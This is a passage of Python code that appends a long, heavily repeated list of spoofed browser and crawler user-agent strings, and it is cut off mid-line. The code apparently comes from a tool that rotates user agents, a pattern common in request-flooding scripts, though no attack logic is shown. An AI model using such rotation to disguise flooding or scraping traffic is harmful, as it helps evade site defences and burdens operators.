headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 